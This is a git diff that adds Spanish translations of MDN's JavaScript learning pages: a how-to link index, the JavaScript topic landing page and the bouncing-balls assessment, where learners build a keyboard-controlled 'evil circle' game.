+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Numbers_versus_strings">¿Puedes unir cadenas de texto y números juntos?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Finding_the_length_of_a_string">¿Cómo encuentras la longitud de una cadena de texto (String)?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Retrieving_a_specific_string_character">¿Cómo encuentras qué carácter está en una posición determinada en una cadena de texto?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Finding_a_substring_inside_a_string_and_extracting_it">¿Cómo encontrar y extraer una subcadena específica de una cadena de texto?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Changing_case">¿Cómo se cambia el caso de una cadena de texto?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Updating_parts_of_a_string">¿Cómo se reemplaza una subcadena específica por otra?</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Matrices_(Arrays)">Matrices (Arrays)</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Creating_an_array">¿Cómo se crea una matriz?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Accessing_and_modifying_array_items">¿Cómo accede y modifica los elementos en una matriz?</a> (esto incluye matrices multidimensionales)</li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Finding_the_length_of_an_array">¿Cómo encuentras la longitud de una matriz?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Adding_and_removing_array_items">¿Cómo agrega y elimina elementos de la matriz?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Converting_between_strings_and_arrays">¿Cómo se divide una cadena en elementos de la matriz, o se unen los elementos de la matriz en una cadena?</a></li>
+</ul>
+
+<h3 id="Depuración_de_JavaScript">Depuración de JavaScript</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong#Types_of_error">¿Cuáles son los tipos básicos de error?</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">¿Qué son las herramientas de desarrollo del navegador y cómo se accede a ellas?</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#The_Console_API">¿Cómo se registra un valor en la consola de JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Using_the_JavaScript_debugger">¿Cómo se usan los puntos de interrupción y otras funciones de depuración de JavaScript?</a></li>
+</ul>
+
+
+
+<p>Para obtener más información sobre la depuración de JavaScript, consulte <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Manejo de problemas comunes de JavaScript </a>; Consulte también <a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong#Other_common_errors">Otros errores comunes</a> para obtener una descripción de los errores comunes.</p>
+
+<h3 id="Tomar_decisiones_en_el_código">Tomar decisiones en el código</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">¿Cómo ejecuta diferentes bloques de código, dependiendo del valor de una variable u otra condición?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#if_..._else_statements">¿Cómo se usan las declaraciones if ... else?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Nesting_if_..._else">¿Cómo anidan un bloque de decisión dentro de otro?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Logical_operators_AND_OR_and_NOT">¿Cómo se usan los operadores AND, OR y NOT en JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#switch_statements">¿Cómo maneja convenientemente una gran cantidad de opciones para una condición?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Ternary_operator">¿Cómo utiliza un operador ternario para hacer una elección rápida entre dos opciones basadas en una prueba verdadera o falsa?</a></li>
+</ul>
+
+<h3 id="Bucle_Iteración">Bucle / Iteración</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">¿Cómo ejecutas el mismo código una y otra vez?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#Exiting_loops_with_break">¿Cómo sale de un bucle antes del final si se cumple una determinada condición?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#Skipping_iterations_with_continue">¿Cómo saltas a la siguiente iteración de un ciclo si se cumple una determinada condición?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#while_and_do_..._while">¿Cómo usas while y do ... while loops?</a></li>
+ <li>Cómo iterar sobre los elementos en una matriz</li>
+ <li>Cómo iterar sobre los elementos en una matriz multidimensional</li>
+ <li>Cómo iterar sobre los miembros en un objeto</li>
+ <li>Cómo iterar sobre los miembros de un objeto anidado dentro de una matriz</li>
+</ul>
+</div>
+</div>
+
+<h2 id="Casos_de_uso_intermedio">Casos de uso intermedio</h2>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Funciones_2">Funciones</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Built-in_browser_functions">¿Cómo encuentras funciones en el navegador?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Functions_versus_methods">¿Cuál es la diferencia entre una función y un método?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">¿Cómo creas tus propias funciones?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Invoking_functions">¿Cómo ejecuta (llama o invoca) una función?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Anonymous_functions">¿Qué es una función anónima?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_parameters">¿Cómo se especifican los parámetros (o argumentos) al invocar una función?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">¿Qué es el alcance de la función?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">¿Qué son los valores de retorno y cómo los usa?</a></li>
+</ul>
+
+<h3 id="Objetos">Objetos</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Object_basics">¿Cómo se crea un objeto?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Dot_notation">¿Qué es la notación de puntos?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Bracket_notation">¿Qué es la notación de corchetes?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Setting_object_members">¿Cómo se obtienen y establecen los métodos y propiedades de un objeto?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#What_is_this">¿Qué es <code>this</code>, en el contexto de un objeto?</a></li>
+ <li><a href="/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">¿Qué es la programación orientada a objetos?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Constructors_and_object_instances">¿Qué son los constructores y las instancias y cómo se crean?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Other_ways_to_create_object_instances">¿Qué formas diferentes hay para crear objetos en JavaScript?</a></li>
+</ul>
+
+<h3 id="JSON">JSON</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#JSON_structure">¿Cómo estructuran los datos JSON y los leen desde JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#Loading_our_JSON">¿Cómo se puede cargar un archivo JSON en una página?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#Converting_between_objects_and_text">¿Cómo convierte un objeto JSON en una cadena de texto y viceversa?</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Eventos">Eventos</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_handler_properties">¿Qué son los controladores de eventos y cómo los usa?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Inline_event_handlers_%E2%80%94_don%27t_use_these">¿Qué son los controladores de eventos en línea?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#addEventListener()_and_removeEventListener()">¿Qué hace la función <code>addEventListener() </code>y cómo la usa?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#What_mechanism_should_I_use">¿Qué mecanismo debo usar para agregar código de evento a mis páginas web?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_objects">¿Qué son los objetos de evento y cómo los usa?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Preventing_default_behaviour">¿Cómo se previene el comportamiento de evento predeterminado?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">¿Cómo se disparan los eventos en elementos anidados? (propagación de eventos, también relacionada - burbujeo y captura de eventos)</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_delegation">¿Qué es la delegación de eventos y cómo funciona?</a></li>
+</ul>
+
+<h3 id="JavaScript_Orientado_a_Objetos">JavaScript Orientado a Objetos</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">¿Qué son los prototipos de objetos?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes#The_constructor_property">¿Cuál es la propiedad del constructor y cómo puede usarla?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes#Modifying_prototypes">¿Cómo se agregan métodos al constructor?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">¿Cómo se crea un nuevo constructor que herede sus miembros de un constructor principal?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance#Object_member_summary">¿Cuándo deberías usar la herencia en JavaScript?</a></li>
+</ul>
+
+<h3 id="Web_APIs">Web APIs</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#Active_learning_Basic_DOM_manipulation">¿Cómo se manipula el DOM (por ejemplo, agregar o eliminar elementos) usando JavaScript?</a></li>
+</ul>
+
+
+</div>
+</div>
diff --git a/files/es/learn/javascript/index.html b/files/es/learn/javascript/index.html
new file mode 100644
index 0000000000..4703c68749
--- /dev/null
+++ b/files/es/learn/javascript/index.html
@@ -0,0 +1,80 @@
+---
+title: JavaScript
+slug: Learn/JavaScript
+tags:
+  - JavaScript
+  - Novato
+  - Principiante
+  - Tema
+  - aterrizando
+  - 'l10n:priority'
+  - modulo
+  - princiante JavaScript
+translation_of: Learn/JavaScript
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">{{Glossary("JavaScript")}} es un lenguaje de programación que te permite implementar cosas complejas en páginas web. Cada vez que una página web hace algo más que sentarse ahí y mostrar información estática para que la veas — mostrando actualizaciones de contenido oportunas, mapas interactivos, gráficos animados 2D/3D, desplazando máquinas reproductoras de video, o más, puedes apostar que probablemente JavaScript esté involucrado .</p>
+
+<div class="in-page-callout webdev">
+<h3 id="¿Quieres_convertirte_en_un_desarrollador_web_front-end">¿Quieres convertirte en un desarrollador web front-end?</h3>
+
+<p>Hemos elaborado un curso que incluye toda la información esencial que necesitas para trabajar hacia tu objetivo.</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Empezar</a></p>
+</div>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>Se puede decir que JavaScript es más difícil de aprender que tecnologías relacionadas como <a href="/es/docs/Learn/HTML">HTML</a> y <a href="/es/docs/Learn/CSS">CSS</a>. Antes de intentar aprender JavaScript, se recomienda encarecidamente que te familiarices con al menos estas dos tecnologías primero, y quizás también con otras. Comienza trabajando con los siguientes módulos:</p>
+
+<ul>
+ <li><a href="/es/docs/Learn/Getting_started_with_the_web">Comenzando con la Web</a></li>
+ <li><a href="/es/docs/Web/Guide/HTML/Introduction">Introducción a <abbr title="Lenguaje de marcado de hipertexto">HTML</abbr></a></li>
+ <li><a href="/es/docs/Learn/CSS/Introduction_to_CSS">Introducción a <abbr title="Hojas de estilo en cascada">CSS</abbr></a></li>
+</ul>
+
+<p>Tener experiencia previa con otros lenguajes de programación también puede ayudar.</p>
+
+<p>Después de familiarizarte con los conceptos básicos de JavaScript, deberías estar en condiciones de aprender sobre temas más avanzados, por ejemplo:</p>
+
+<ul>
+ <li>JavaScript en profundidad, como se enseña en nuestra <a href="/es/docs/Web/JavaScript/Guide">guía de JavaScript</a></li>
+ <li><a href="/es/docs/Web/API"><abbr title="Interfaz de programación de aplicaciones">APIs</abbr> web</a></li>
+</ul>
+
+<h2 id="Módulos">Módulos</h2>
+
+<p>Este tema contiene los siguientes módulos, en un orden sugerido para trabajar con ellos.</p>
+
+<dl>
+ <dt><a href="/es/docs/Learn/JavaScript/First_steps">Primeros pasos en JavaScript</a></dt>
+ <dd>En nuestro primer módulo de JavaScript, primero respondemos algunas preguntas fundamentales como "¿qué es JavaScript?", "¿Cómo se ve?" y "¿qué puede hacer?", antes de pasar a guiarte por tu primera experiencia práctica de escribir JavaScript. Después de eso, discutimos en detalle algunas características clave de JavaScript, tal como variables, cadenas, números y arreglos.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Building_blocks">Bloques de construcción de JavaScript</a></dt>
+ <dd>En este módulo, continuamos con nuestra cobertura de todas las características fundamentales clave de JavaScript, centrando nuestra atención en los tipos de bloques de código que se encuentran comúnmente, como declaraciones condicionales, bucles, funciones y eventos. Ya has visto estas cosas en el curso, pero solo de pasada; aquí lo discutiremos todas explícitamente.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Objects">Introducción a los objetos JavaScript</a></dt>
+ <dd>En JavaScript, la mayoría de las cosas son objetos, desde las características principales de JavaScript como cadenas y arreglos hasta las APIs del navegador creadas sobre JavaScript. Incluso puedes crear tus propios objetos para encapsular funciones y variables relacionadas en paquetes eficientes. Es importante comprender la naturaleza orientada a objetos de JavaScript si deseas ir más allá con tu conocimiento del lenguaje y escribir código más eficiente, por lo tanto, te proporcionamos este módulo para ayudarte. Aquí enseñamos la teoría y la sintaxis de objetos en detalle, vemos cómo crear tus propios objetos y explicamos qué son los datos JSON y cómo trabajar con ellos.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Asynchronous">JavaScript asíncrono</a></dt>
+ <dd>
+ <p>En este módulo, echamos un vistazo a JavaScript asíncrono, por qué es importante y cómo se puede utilizar para manejar de forma eficaz posibles operaciones de bloqueo, como la obtención de recursos desde un servidor.</p>
+ </dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Client-side_web_APIs">APIs web de lado del cliente</a></dt>
+ <dd>Al escribir JavaScript de lado del cliente para sitios web o aplicaciones, no irás muy lejos antes de comenzar a usar las APIs — interfaces para manipular diferentes aspectos del navegador y el sistema operativo en el que se ejecuta el sitio, o incluso datos de otros sitios web o servicios. En este módulo, exploraremos qué son las APIs y cómo utilizar algunas de las APIs más populares que encontrarás a menudo en tu trabajo de desarrollo. </dd>
+</dl>
+
+<h2 id="Resolver_problemas_comunes_de_JavaScript">Resolver problemas comunes de JavaScript</h2>
+
+<p><a href="/es/docs/Learn/JavaScript/Howto">Usar JavaScript para resolver problemas comunes</a> proporciona enlaces a secciones de contenido que explican cómo usar JavaScript para resolver problemas muy comunes al crear una página web.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/JavaScript">JavaScript en MDN</a></dt>
+ <dd>El principal punto de entrada para la documentación básica de JavaScript en MDN — aquí es donde encontrarás documentos de referencia extensos sobre todos los aspectos del lenguaje JavaScript y algunos tutoriales avanzados dirigidos a JavaScripters experimentados.</dd>
+ <dt><a href="https://learnjavascript.online/">Aprende JavaScript</a></dt>
+ <dd>Un excelente recurso para los aspirantes a desarrolladores web — aprende JavaScript en un entorno interactivo, con lecciones breves y pruebas interactivas, guiado por una evaluación automatizada. Las primeras 40 lecciones son gratuitas y el curso completo está disponible por un pequeño pago único.</dd>
+ <dt><a href="https://exlskills.com/learn-en/courses/javascript-fundamentals-basics_javascript">Fundamentos de JavaScript en EXLskills</a></dt>
+ <dd>Aprende JavaScript de forma gratuita con el curso de código abierto EXLskills que presenta todo lo que necesitas para comenzar a crear aplicaciones en JavaScript.</dd>
+ <dt><a href="https://www.youtube.com/user/codingmath">Codificación de Matemáticas</a></dt>
+ <dd>Una excelente serie de tutoriales en video para enseñar las matemáticas que necesitas comprender para ser un programador eficaz, por <a href="https://twitter.com/bit101">Keith Peters</a>.</dd>
+</dl>
diff --git a/files/es/learn/javascript/objects/adding_bouncing_balls_features/index.html b/files/es/learn/javascript/objects/adding_bouncing_balls_features/index.html
new file mode 100644
index 0000000000..c2aa7a9985
--- /dev/null
+++ b/files/es/learn/javascript/objects/adding_bouncing_balls_features/index.html
@@ -0,0 +1,205 @@
+---
+title: Añadiendo características a nuestra demo de bouncing balls
+slug: Learn/JavaScript/Objects/Adding_bouncing_balls_features
+tags:
+  - Aprender
+  - Evaluación
+  - JavaScript
+  - Objetos
+  - Orientado a objetos
+  - Principiante
+translation_of: Learn/JavaScript/Objects/Adding_bouncing_balls_features
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">En esta evaluación, se espera que use la demo de bouncing balls del artículo anterior como punto de partida y le agregue algunas características nuevas e interesantes.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Antes de intentar esta evaluación, debería haber revisado todos los artículos de este módulo.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Para probar la comprensión de objetos JavaScript y construcciones orientadas a objetos.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_de_partida">Punto de partida</h2>
+
+<p>Para iniciar esta evaluación, haz una copia local de  <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index-finished.html">index-finished.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css">style.css</a>, y <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js">main-finished.js</a> de nuestro último artículo en un nuevo directorio en tu ordenador.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Alternativamente, puede usar un sitio como <a class="external external-icon" href="http://jsbin.com/">JSBin</a> o <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> para hacer su evaluación. Puede pegar el HTML, CSS y JavaScript en uno de estos editores en línea. Si el editor en línea que está utilizando no tiene paneles JavaScript / CSS separados, sientase libre de poner en linea elementos <code>&lt;script&gt;</code>/<code>&lt;style&gt;</code> dentro de la página.</p>
+</div>
+
+<h2 id="Resumen_del_proyecto">Resumen del proyecto</h2>
+
+<p>Nuestra demostración de la pelota hinchable es divertida, pero ahora queremos que sea un poco más interactiva agregando un círculo maligno controlado por el usuario, que se los comería si los atrapa. Tambien queremos testar nuestras destrezas como constructores de objetos creando un objeto <code>Shape()</code> genérico de que puedan heredar nuestra pelota y el círculo maligno. Finalmente, queremos añadir una puntuación para seguir el número de bolas que quedan por capturar.</p>
+
+<p>La siguiente captura de pantalla te da una idea de cómo debería verse el programa final.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13875/bouncing-evil-circle.png" style="display: block; margin: 0 auto;"></p>
+
+<ul>
+</ul>
+
+<p>Para darle una idea eche un vistazo al <a href="http://mdn.github.io/learning-area/javascript/oojs/assessment/">ejemplo final</a> (¡no mire el código fuente!)</p>
+
+<h2 id="Pasos_para_completar">Pasos para completar</h2>
+
+<p>Las siguientes secciones describen lo que debe hacer.</p>
+
+<h3 id="Creando_nuestro_nuevos_objetos">Creando nuestro nuevos objetos</h3>
+
+<p>Primero de todo, cambia la constructora existente de <code>Ball()</code> para que se convierta en un constructor <code>Shape()</code> y añade un nuevo constructor <code>Ball()</code>:</p>
+
+<ol>
+ <li>El constructor <code>Shape()</code> debe definir las propiedades <code>x</code>, <code>y</code>, <code>velX</code>, y <code>velY</code> del mismo modo que lo hacía el constructor <code>Ball()</code> constructor original, pero no las propiedades <code>color</code> y <code>size</code>.</li>
+ <li>También debe definir una nueva propiedad <code>exists</code>, que se utiliza para realizar un seguimiento de si existen las bolas en el programa (no se han comido por el círculo maligno). Debe ser un boolean (<code>true</code>/<code>false</code>).</li>
+ <li>El constructor <code>Ball()</code> debe heredar las propiedades <code>x</code>, <code>y</code>, <code>velX</code>, <code>velY</code>, y <code>exists</code> del constructor <code>Shape()</code>.</li>
+ <li>También debe definir propiedades <code>color</code> y <code>size</code>, como el constructor original <code>Ball()</code> hacía.</li>
+ <li>Recuerda configurar el <code>prototype </code>del constructor <code>Ball()</code> correctamente.</li>
+</ol>
+
+<p>Los métodos de la pelota <code>draw()</code>, <code>update()</code>, y <code>collisionDetect()</code> deben ser capaces de permanecer exactamente igual que antes.</p>
+
+<p>También necesitas añadir un parámetro nuevo a la llamada del constructor <code>new Ball() ( ... )</code>  — El parámetro <code>exists</code> debe ser el quinto parámetro y debe tener un valor <code>true</code>.</p>
+
+<p>En este punto, intente volver a cargar el código; debería funcionar igual que antes, con nuestros objetos rediseñados.</p>
+
+<h3 id="Definiendo_EvilCircle">Definiendo EvilCircle()</h3>
+
+<p>Ahora es el momento de conocer al chico malo: ¡el <code>EvilCircle()</code>! Nuestro juego solo involucrará un círculo malvado, pero lo vamos a seguir definiendo usando un constructor que hereda de <code>Shape()</code> para que tengas algo de práctica. Es posible que desee agregar otro círculo a la aplicación más adelante que pueda ser controlado por otro jugador o tener varios círculos malvados controlados por computadora. Probablemente no vas a dominar el mundo con un solo círculo maligno, pero servirá para esta evaluación.</p>
+
+<p>El constructor  <code>EvilCircle()</code> debe heredar <code>x</code>, <code>y</code>, <code>velX</code>, <code>velY</code>, y <code>exists</code> from <code>Shape()</code>, pero <code>velX</code> y <code>velY</code> debe ser igual a 20.</p>
+
+<p>Debería hacer algo como <code>Shape.call(this, x, y, 20, 20, exists);</code></p>
+
+<p>Debe definir también sus propias propiedades, como las siguientes:</p>
+
+<ul>
+ <li><code>color</code> — <code>'white'</code></li>
+ <li><code>size</code> — <code>10</code></li>
+</ul>
+
+<p>Otra vez, recuerda definir tus propiedades heredadas como parámetros en el constructor, y configura las propiedades <code>prototype</code> y <code>constructor</code> properties correc.tamente</p>
+
+<h3 id="Definiendo_los_métodos_de_EvilCircle">Definiendo los métodos de EvilCircle()</h3>
+
+<p><code>EvilCircle()</code> debe tener cuatro métodos como se desciben a continuación.</p>
+
+<h4 id="draw"><code>draw()</code></h4>
+
+<p>Este método tiene el mismo propósito que el método <code>draw()</code>de <code>Ball()</code>: Se encarga de dibujar la instancia del objeto en el lienzo. Funcionarán de una forma muy similar, así que puedes empezar copiando la definición de <code>Ball.prototype.draw</code>. Luego deberías hacer los siguientes cambios.:</p>
+
+<ul>
+ <li>Queremos que el círculo del mal no se complete, sino que simplemente tenga una línea exterior (trazo). Puedes lograr esto actualizando <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/fillStyle">fillStyle</a></code> y <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/fill">fill()</a></code> a <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/strokeStyle">strokeStyle</a></code> y <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/stroke">stroke()</a></code>.</li>
+ <li>También queremos que el trazo sea un poco más grueso, para que puedas ver el círculo malvado con mayor facilidad. Podemos lograr esto configurando un valor para <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/lineWidth">lineWidth</a></code> en algún lugar después de la llamada <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/beginPath">beginPath()</a></code> (3 hará).</li>
+</ul>
+
+<h4 id="checkBounds"><code>checkBounds()</code></h4>
+
+<p>Este método hara lo mismo que la primera parte de la función <code>update()</code> de <code>Ball()</code> — mire para ver si el círculo maligno va a salir del borde de la pantalla y evite que lo haga. De nuevo, puede copiar la mayoría de la definición de <code>Ball.prototype.update</code>, hay algunos cambios que debe hacer:</p>
+
+<ul>
+ <li>Deshazte de las dos últimas líneas: no queremos actualizar automáticamente la posición del círculo maligno en cada cuadro, porque lo moveremos de alguna otra manera, como verás a continuación.</li>
+ <li>Dentro de las declaraciones <code>if()</code>, si el test devuelve true no queremos actualizar <code>velX</code>/<code>velY</code>; queremos cambiar el valor de <code>x</code>/<code>y</code> por lo que el círculo del mal se rebota en la pantalla ligeramente. Agregar o restar (según corresponda) la propiedad de tamaño del círculo maligno (<code>size</code>) tendría sentido.</li>
+</ul>
+
+<h4 id="setControls"><code>setControls()</code></h4>
+
+<p>Este método agregará un detector de eventos <code>onkeydown</code> al objeto <code>window</code> para que cuando se presionen ciertas teclas del teclado, podamos mover el círculo maligno. El siguiente bloque de código debe colocarse dentro de la definición del método:</p>
+
+<pre class="brush: js notranslate">var _this = this;
+window.onkeydown = function(e) {
+    if (e.keyCode === 65) {
+      _this.x -= _this.velX;
+    } else if (e.keyCode === 68) {
+      _this.x += _this.velX;
+    } else if (e.keyCode === 87) {
+      _this.y -= _this.velY;
+    } else if (e.keyCode === 83) {
+      _this.y += _this.velY;
+    }
+  }</pre>
+
+<p>Por tanto cuando se presiona una tecla, el evento del objeto <a href="/en-US/docs/Web/API/KeyboardEvent/keyCode">keyCode</a> se consulta para averiguar que tecla se ha presionado. Si es uno de los cuatro representados por los códigos clave especificados, entonces el círculo maligno se moverá a la izquierda / derecha / arriba / abajo.</p>
+
+<ul>
+ <li>Para obtener un punto de bonificación, avísenos a qué teclas se asignan los códigos de clave especificados.</li>
+ <li>Para otro punto de bonificación, ¿nos podrías decir por qué tenemos que configurar <code>var _this = this;</code> en la posición en la que está? Es algo que se hace en la función scope.</li>
+</ul>
+
+<h4 id="collisionDetect"><code>collisionDetect()</code></h4>
+
+<p>Este método actuará de una forma muy similar al método <code>collisionDetect() </code>de <code>Ball()</code>, así que puede usar una copia de eso como una base para el nuevo método. Pero hay algunas diferencias:</p>
+
+<ul>
+ <li>En el exterior de la declaración <code>if</code>, ya no es necesario comprobar si la bola actual en la iteración es la misma que la bola que está haciendo la comprobación, porque ya no es una bola, ¡es el círculo del mal! En su lugar, debe hacer una prueba para ver si existe la bola que se está verificando (¿con qué propiedad podría hacerlo?). Si no existe, ya ha sido devorado por el círculo maligno, por lo que no es necesario volver a comprobarlo.</li>
+ <li>En el interior de la declaración <code>if</code>, ya no desea que los objetos cambien de color cuando se detecta una colisión; en cambio, desea que no existan más bolas que colisionen con el círculo maligno (una vez más, ¿cómo cree que haría eso?).</li>
+</ul>
+
+<h3 id="Trayendo_el_círculo_del_mal_al_programa.">Trayendo el círculo del mal al programa.</h3>
+
+<p>Ahora que hemos definido el círculo maligno, debemos hacerlo aparecer en nuestra escena. Para hacerlo, necesitas hacer alguno cambios a la función <code>loop()</code>.</p>
+
+<ul>
+ <li>Primero de todo, crea una nueva instancia del círculo maligno (especifica los parámetros necesarios ), entonces llama al método <code>setControls()</code> . Solo necesita hacer estas dos cosas una vez, no en cada iteración del bucle.</li>
+ <li>En el punto en el que intera por todas las pelotas y llama a las funciones <code>draw()</code>, <code>update()</code>, y<code>collisionDetect()</code> para cada una, hazlo para que estas funciones solo sean llamadas si la bola actual existe.</li>
+ <li>Llama a los métodos de la instancia de la pelota maligna <code>draw()</code>, <code>checkBounds()</code>, y<code>collisionDetect()</code> en cada iteración del bucle.</li>
+</ul>
+
+<h3 id="Implementando_el_contador_de_puntuación.">Implementando el contador de puntuación.</h3>
+
+<p>Para implementar el contador de puntuación sigue estos pasos:</p>
+
+<ol>
+ <li>En tu archivo HTML añade un elemento {{HTMLElement("p")}} justo debajo del elemento {{HTMLElement("h1")}} que contiene el texto "Ball count: ".</li>
+ <li>En tu archivo CSS, agregue la siguiente regla en la parte inferior:
+  <pre class="brush: css notranslate">p {
+  position: absolute;
+  margin: 0;
+  top: 35px;
+  right: 5px;
+  color: #aaa;
+}</pre>
+ </li>
+ <li>En su JavaScript, realice las siguientes actualizaciones:
+  <ul>
+   <li>Cree una variable que almacene una referencia al párrafo.</li>
+   <li>Mantenga un recuento de la cantidad de bolas en la pantalla de alguna manera.</li>
+   <li>Incrementa el conteo y muestra el número actualizado de bolas cada vez que se agrega una bola a la escena.</li>
+   <li>Disminuye el conteo y muestra el número actualizado de bolas cada vez que el círculo maligno se come una bola (hace que no exista).</li>
+  </ul>
+ </li>
+</ol>
+
+<h2 id="Consejos">Consejos</h2>
+
+<ul>
+ <li>Esta evaluación es bastante desafiante. Da cada paso despacio y con cuidado.</li>
+ <li>Puede ser una idea mantener una copia separada de la demostración después de que cada etapa esté funcionando, para que pueda consultarla si se encuentra en problemas más adelante.</li>
+</ul>
+
+<h2 id="Evaluación">Evaluación</h2>
+
